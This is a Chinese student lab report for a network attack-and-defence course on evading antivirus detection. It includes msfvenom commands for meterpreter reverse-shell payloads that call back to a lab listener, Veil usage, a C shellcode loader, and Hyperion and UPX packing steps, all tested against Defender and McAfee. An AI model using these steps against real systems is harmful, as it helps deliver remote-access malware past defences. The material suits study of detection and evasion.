首页 > 其他分享 >20222320 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222320 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-21 17:43:39浏览次数:1  
标签:exe 免杀 加壳 veil 生成 2024 2025 20222320 shellcode

目录

目录

0.认识工具

Veil

一款专为渗透设计的开源工具,旨在生成能够绕过主流防病毒(AV)软件检测的恶意载荷。它通过多种技术手段,如加密、混淆和利用漏洞,确保生成的载荷在目标环境中能够顺利执行而不被AV软件拦截

apt-get install veil
        ---安装Veil

veil
        ---启动Veil

use tool_number
        ---选择工具

list
        ---列出可用的工具

set option_name option_value
        ---设置选项

generate
        ---生成Payload

exit
        ---退出Veil

info
        ---显示工具信息

update
        ---更新Veil

1.实验目标

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验内容

(1)掌握免杀原理与技术

(2)回答问题

  • 杀软是如何检测出恶意代码的?
    1.基于特征码:检测文件中是否有木马病毒特征码;如果检测出匹配就是恶意代码
    2.启发式分析:检查软件的特征和行为,易误报,但可以检测出新型的恶意代码
    3.行为分析:检查软件运行的行为,是否执行敏感操作。如果与已知的恶意行为相符,就判定为恶意代码

  • 免杀是做什么?
    采取各种技术手段,使恶意软件能够绕过杀毒软件的检测和防御,从而成功地在目标系统上执行。

  • 免杀的基本方法有哪些?
    1.改变特征码
    2.加密壳,压缩壳
    3.代码混淆
    4.改变行为(通信方式,操作方式)

3.实验过程

(1)使用msf编码器,使用msfvenom生成如jar之类的其他文件

msf可以将源程序重新编码,生成新的2进制文件;运行后执行源程序功能

先查看所有的编码器

msfvenom --list encoder


选一个rank等级高的来编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe

这时会根据需求生成一个可执行程序:

先测试一下它的免杀效果,这里用virustotal进行检测,网址见参考资料

60/72,效果并不好;尝试多次编码看看效果

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f exe > 20222320_test3.exe

测试后效果一般,没有明显变化。下一步试试其他文件,先生成jar包

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.56.103 LPORT=2320 -f jar > 20222320_first.jar


生成结果如下:

把这个拿去检测一下:

和直接编码为exe相比有所下降,但还是比较高。
再试试做一个apk:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.56.103 LPORT=2320 -f apk > 20222320_first.apk


这个拿去检测:

通过率稍微高点,但作为免杀来说还是较低。这3个结果说明直接生成的结果难以直接通过检测,所以要找别的办法

(2)使用veil加壳工具加壳

安装veil就很麻烦,而且地下实验室网不好,真要安半小时才行。具体如图安装,更着安装程序一直安就行:

安装完后应该是这个界面:

先输入下列指令生成个默认exe看看

use evasion					
use c/meterpreter/rev_tcp.py 
set LHOST 192.168.56.103	
set LPORT 2320					
generate


这里要到它显示的文件路径去查找生成的文件才行,找到后放回当前文件夹便于使用:

拿去直接检测一下:

结果并不好,通过率不足一半,说明还是不能实现免杀

(3)使用C + shellcode编程

用msf生成一段shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2320 -f c  


生成一段shellcode,接下来将它们放到一个.c文件里面:

unsigned char buf[] = "[生成的shellcode]";
int main() {
    int (*func)() = (int(*)())buf;
    func(); 
 }

交叉编译这个程序:

i686-w64-mingw32-g++ shellcode_c.c -o winshell.exe

检测一下:

比起之前的,可以说检出概率小了很多了

(4)通过组合应用各种技术实现恶意代码免杀

基本思路就是利用msf生成的shell上,用c+shellcode生成源文件,再用wine的hyperion加密,然后upx压缩壳

i686-w64-mingw32-gcc win_shell.c -o win_shell.exe
wine /usr/share/windows-resources/hyperion/hyperion.exe -v win_shell.exe win_shell.hyed.exe
upx win_shell.hyed.exe -o winshell_upx.exe


拿去检查一下,看看通过率:

实现巨大突破了,虽然还不是完全免杀,但已经很成功了,这下通过winscp连接到windows上,尝试运行。

(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功

先设置kali准备监听,步骤同实验二,注意载荷要和生成的shellcode载荷一样,不然会失败
电脑用的windows自带的防护程序和mcafee(删不掉),刚刚生成的软件在win防护中心和mcafee都打开的情况下,双击运行

哦嚯,被win防护检测出来了,那就换一下方法吧:用veil生成程序,再加密并压缩
先生成一个:

再压缩:

检测看看:

看来不是很行,但不管了,试试:

完蛋,还是不行。后面又尝试了好几种组合,都不太行,windows自带的防护中心太猛了
没办法,这个算是完不成了,具体原因后面分析吧

4.问题及解决方案

  • 问题1:veil下载出bug
  • 问题1解决方案:这个当时没注意截屏,写报告时安装好了没有图片了;描述一下就是缺少一个wine的依赖,这是程序会在后面提示你重新运行veil的安装程序,照着重新安装就行。也可能会有网络问题,这时候换源就行
  • 问题2:免杀失败
  • 问题2解决方案:见下方学习思考

5.学习感悟、思考等

先看一下加壳的原理,加壳就是把原始的程序装到一个“外壳”里保护起来。所以被保护过的程序启动其实是从壳代码开始的,然后才会启动处理之后的原始程序,因为原始程序上加了一堆的加密和虚拟化手段,没有壳代码参与,操作系统已经不能正确运行了。加壳时对block进行编译保护,一个 Block 会被掰开、揉碎、打散,变成多个 Block,而且还分散在各处。这样就不可能直接反编译,最后链接保存相关的操作,便于复原。
那和win报错有什么关系呢?加壳处理过的程序内部已经不能像一个“正经”程序那样被人随便分析了,杀毒软件的思路通常是“不让我看懂就说明你有问题”,所以就报毒。而且msf太老了,被各路软件都分析透了。而且这次试验的免杀技术也比较简单,,静态就被杀了,说明特征码被找到呗。真要改的话参考下面免杀要进入程序修改特征码才行吧,而不是只是简单运行加密压缩壳。
这次试验虽然最后有点失败,但通过查资料分析原因,还是让我对免杀认识了很多的,总而言之,道高一尺魔高一丈啊

参考资料

标签:exe,免杀,加壳,veil,生成,2024,2025,20222320,shellcode
From: https://www.cnblogs.com/20222320zcc/p/18476107

相关文章

  • 2024年CRM系统全景:领先品牌的深度解析与企业选择指南
    在SaaS赛道中,CRM系统以其与交易的紧密联系和迅猛的发展势头,成为核心的竞争领域。根据艾媒咨询的最新数据,2021年中国CRM市场规模达到156亿元,同比增长16.5%。随着市场渗透率的提高以及社交化、智能化CRM解决方案的不断涌现,行业增长势头强劲。预计从2023年起,市场将以大约10%的年增长......
  • 数据库运维实操优质文章文档分享(含Oracle、MySQL等) | 2024年9月刊
    本文为大家整理了墨天轮数据社区2024年9月发布的优质技术文章/文档,主题涵盖Oracle、MySQL、PostgreSQL等主流数据库系统以及国产数据库的技术实操,从基础的安装配置到复杂的故障排查,再到性能优化的实用技巧及常用脚本等,分享给大家:Oracle优质技术文章概念梳理&安装配置Oracle授......
  • 2024/10/21
    CF213ETwoPermutations考虑枚举\(x\),我们每次就只考虑值在\([1+x,n+x]\)的数单独拿出来,看他们是否与\(a_i+x\)相同即可。具体实现时,我们可以通过一棵平衡树来快速插入和删除一个数,并用Hash来维护序列信息。CF961Fk-substrings串的中心不会改变,所以答案总的改变量不......
  • 2024/10/21日工作总结
    实现jdbc的MySQL数据库连接;实现过程:在测试代码中导入数据库驱动jar包(mysql-connector-j-9.1.0.jar);注册驱动:"com.mysql.cj.jdbc.Driver";获取连接:"jdbc:mysql://localhost:3306/test",传入本地用户名称和密码;定义sql执行代码:更改数据库表格中的数据(updatetestsetmoney=100......
  • EESE 2024国际学术会议二轮征稿启动,优质稿件持续收录中
    第三届环境工程与与可持续能源国际会议(EESE2024)将于2024年12月在长沙召开,邀请多位顶尖学者分享研究成果。会议聚焦环境工程与可持续能源,涵盖多个领域,旨在搭建交流平台,促进产学研合作。投稿、参会形式多样,欢迎国内外学者参与。第三届环境工程与可持续能源国际会议The3rdIn......
  • 2024秋软工实践 银河战舰队展示与选题报告
    作业所属课程班级的链接作业要求https://edu.cnblogs.com/campus/fzu/SE2024/homework/13290作业的目标开发一个基于LLM大模型接口的软件,为传统的软件赋予全新的体验和功能。团队名称银河战舰团队成员学号-名字102202129-林伟宏102202131-林鑫102202109-......
  • 网络安全(黑客)2024小白自学必看
       ​一、怎样规划网络安全如果你是一个安全行业新人,我建议你先从网络安全或者Web安全/渗透测试这两个方向先学起一、是市场需求量高二、则是发展相对成熟入门比较容易 值得一提的是,学网络安全,是先网络后安全;学Web安全,也是先Web再有安全。安全不是独立存在的,而是建......
  • 网络安全学习路线图(2024版详解)
       近期,大家在网上对于网络安全讨论比较多,想要学习的人也不少,但是需要学习哪些内容,按照什么顺序去学习呢?其实我们已经出国多版本的网络安全学习路线图,一直以来效果也比较不错,本次我们针对市场需求,整理了一套系统的网络安全学习路线图,供大家学习参考。希望大家按照路线图进......
  • 2024年10月21日 flask 的基础使用
    flask的安装使用 1.基础代码 fromflaskimportFlaskapp=Flask(__name__)@app.route('/')defhello_world():#putapplication'scodeherereturn'正式开始'if__name__=='__main__':app.run()2. url传递参数@a......
  • 2024.10.21 test
    B求长度\(\gek\)的区间去掉前\(k\)大剩下权值和的最大值。\(n\le1e5,k\le100\)。一个比较暴力的办法就是维护出每个区间的答案,考虑一个位置什么时候被扣掉。首先计算出左边前\(k\)个与右边前\(k\)个比\(a_i\)大的位置,然后考虑匹配,形成的区间里都减去\(a_i\)。然......